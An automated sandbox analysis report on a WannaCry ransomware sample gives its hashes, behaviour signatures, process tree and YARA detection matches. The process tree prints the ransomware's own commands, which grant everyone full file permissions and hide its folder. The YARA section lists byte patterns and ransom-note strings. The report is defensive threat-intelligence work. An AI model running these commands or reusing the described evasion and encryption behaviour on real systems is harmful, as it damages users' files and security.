Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
WannaCry_2.EXE

Overview

General Information

Sample name:WannaCry_2.EXE
Analysis ID:1486528
MD5:84c82835a5d21bbcf75a61706d8ab549
SHA1:5ff465afaabcbf0150d1a3ab2c2e74f3a4426467
SHA256:ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa
Infos:

Detection

Wannacry
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Detected Wannacry Ransomware
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Yara detected Wannacry ransomware
AI detected suspicious sample
Command shell drops VBS files
Contains functionality to detect sleep reduction / modifications
Contains functionalty to change the wallpaper
Creates files in the recycle bin to hide itself
Deletes shadow drive data (may be related to ransomware)
Drops PE files to the document folder of the user
Found Tor onion address
Found stalling execution ending in API Sleep call
Machine Learning detection for dropped file
Machine Learning detection for sample
Modifies existing user documents (likely ransomware behavior)
Writes many files with high entropy
Abnormal high CPU Usage
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Contains functionality to dynamically determine API calls
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Drops PE files
Drops files with a non-matching file extension (content does not match file extension)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found evaded block containing many API calls
Found evasive API chain checking for process token information
May sleep (evasive loops) to hinder dynamic analysis
PE file contains executable resources (Code or Archives)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Startup Folder File Write
Sigma detected: Uncommon Svchost Parent Process
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Stores files to the Windows start menu directory
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses cacls to modify the permissions of files
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

Process Tree

  • System is w10x64_ra
  • WannaCry_2.EXE (PID: 7008 cmdline: "C:\Users\user\Desktop\WannaCry_2.EXE" MD5: 84C82835A5D21BBCF75A61706D8AB549)
    • dllhost.exe (PID: 7028 cmdline: C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5} MD5: 08EB78E5BE019DF044C26B14703BD1FA)
    • attrib.exe (PID: 7068 cmdline: attrib +h . MD5: 0E938DD280E83B1596EC6AA48729C2B0)
      • conhost.exe (PID: 7084 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • icacls.exe (PID: 7076 cmdline: icacls . /grant Everyone:F /T /C /Q MD5: 2E49585E4E08565F52090B144062F97E)
      • conhost.exe (PID: 7092 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • taskdl.exe (PID: 6148 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 5912 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • cmd.exe (PID: 6208 cmdline: C:\Windows\system32\cmd.exe /c 133611722583794.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • conhost.exe (PID: 6184 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • cscript.exe (PID: 4304 cmdline: cscript.exe //nologo m.vbs MD5: CB601B41D4C8074BE8A84AED564A94DC)
    • taskdl.exe (PID: 5416 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6064 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 4048 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 5740 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6236 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6292 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6392 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6424 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6396 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6364 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6436 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6328 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6304 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 3760 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 4264 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 4040 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6580 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6560 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6544 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6620 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6672 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6656 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6596 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6640 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6696 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6764 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6712 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 4812 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 5940 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6256 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6272 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6860 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 7088 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 7156 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 7160 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 3952 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 5912 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 2920 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 5336 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 4696 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6096 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6240 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6224 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 5428 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 7052 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6244 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6360 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6292 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6428 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6384 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 1268 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 5084 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 2752 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6524 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6564 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • SIHClient.exe (PID: 6432 cmdline: C:\Windows\System32\sihclient.exe /cv Uh7zHirJxEOn/q4qaZ2wzQ.0.2 MD5: 8BE47315BF30475EEECE8E39599E9273)
    • taskdl.exe (PID: 6560 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6616 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6672 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • svchost.exe (PID: 6656 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
    • taskdl.exe (PID: 6640 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • SgrmBroker.exe (PID: 6696 cmdline: C:\Windows\system32\SgrmBroker.exe MD5: 3BA1A18A0DC30A0545E7765CB97D8E63)
    • taskdl.exe (PID: 2652 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6272 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6148 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 532 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 2792 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 4780 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 7036 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6244 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6392 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 2336 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 4344 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6400 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6308 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 1328 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 5084 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 4040 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 1100 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6568 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6676 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6668 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 2996 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6672 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6748 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 4812 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 5464 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 1468 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 4064 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 7104 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 1508 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 3680 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6376 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 4048 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 7040 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6276 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 1428 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6412 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 3948 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 2828 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 2084 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 2464 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6352 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 5644 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6308 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 3760 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 3992 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 4264 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 1608 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 4132 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 1100 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6568 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6676 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6664 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6644 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6752 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 2848 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 5856 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 4812 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 1448 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 1288 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 7104 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 1508 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 2792 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6380 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 4184 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 7060 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6284 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6416 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6392 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 4776 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 2460 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 1996 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6468 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6352 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6384 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 1268 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 3704 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 7100 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 528 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 4040 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6700 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6704 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6636 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6936 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6516 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 676 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 1364 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 2996 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6672 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6764 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6264 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6564 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 1940 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 5464 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 716 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 1460 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 1176 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6192 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 3292 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6724 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 1508 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 3916 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 1344 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 2664 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 3228 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 2792 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 1920 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 1868 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 2268 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 3604 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 3632 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 2352 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 2408 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6376 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 3648 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 2876 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 4184 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 3132 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 3904 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 3640 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6288 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 1612 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 1764 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6392 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
  • @WanaDecryptor@.exe (PID: 3712 cmdline: "C:\Users\user\Desktop\@WanaDecryptor@.exe" MD5: 7BF2B57F2A205768755C07F238FB32CC)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
WannaCryptor, WannaCry, WannaCrypt
  • Lazarus Group
https://malpedia.caad.fkie.fraunhofer.de/details/win.wannacryptor

Malware Configuration

⊘No configs have been found

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
WannaCry_2.EXEJoeSecurity_WannacryYara detected Wannacry ransomwareJoe Security
    WannaCry_2.EXEWannaCry_RansomwareDetects WannaCry RansomwareFlorian Roth (with the help of binar.ly)
    • 0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q
    • 0x342d41:$x2: taskdl.exe
    • 0x35962d:$x2: taskdl.exe
    • 0xf4d8:$x3: tasksche.exe
    • 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA
    • 0xf52c:$x5: WNcry@2ol7
    • 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q
    • 0x359d91:$s2: Windows 10 -->
    • 0xf42c:$s3: cmd.exe /c "%s"
    • 0x41980:$s4: msg/m_portuguese.wnry
    • 0x3591ff:$s4: msg/m_portuguese.wnry
    • 0x2a02:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C
    • 0x26dc:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56
    • 0x22c8:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
    WannaCry_2.EXEwanna_cry_ransomware_genericdetects wannacry ransomware on disk and in virtual pageus-cert code analysis team
    • 0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63
    • 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
    WannaCry_2.EXEWin32_Ransomware_WannaCryunknownReversingLabs
    • 0x2016:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ...
    • 0x77ba:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...

    Dropped Files

    SourceRuleDescriptionAuthorStrings
    C:\@Please_Read_Me@.txtWannaCry_RansomNoteDetects WannaCry Ransomware NoteFlorian Roth
    • 0x2c0:$s1: A: Don't worry about decryption.
    • 0x0:$s2: Q: What's wrong with my files?
    C:\@Please_Read_Me@.txtWannaCry_RansomNoteDetects WannaCry Ransomware NoteFlorian Roth
    • 0x2c0:$s1: A: Don't worry about decryption.
    • 0x0:$s2: Q: What's wrong with my files?
    C:\@Please_Read_Me@.txtWannaCry_RansomNoteDetects WannaCry Ransomware NoteFlorian Roth
    • 0x2c0:$s1: A: Don't worry about decryption.
    • 0x0:$s2: Q: What's wrong with my files?
    C:\@Please_Read_Me@.txtWannaCry_RansomNoteDetects WannaCry Ransomware NoteFlorian Roth
    • 0x2c0:$s1: A: Don't worry about decryption.
    • 0x0:$s2: Q: What's wrong with my files?
    C:\@Please_Read_Me@.txtWannaCry_RansomNoteDetects WannaCry Ransomware NoteFlorian Roth
    • 0x2c0:$s1: A: Don't worry about decryption.
    • 0x0:$s2: Q: What's wrong with my files?
    Click to see the 36 entries

    Memory Dumps

    SourceRuleDescriptionAuthorStrings
    000000CA.00000000.1527615654.000000000041F000.00000008.00000001.01000000.00000009.sdmpJoeSecurity_WannacryYara detected Wannacry ransomwareJoe Security
      00000000.00000000.1123120496.000000000040E000.00000008.00000001.01000000.00000003.sdmpwanna_cry_ransomware_genericdetects wannacry ransomware on disk and in virtual pageus-cert code analysis team
      • 0x14d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63
      • 0x1500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
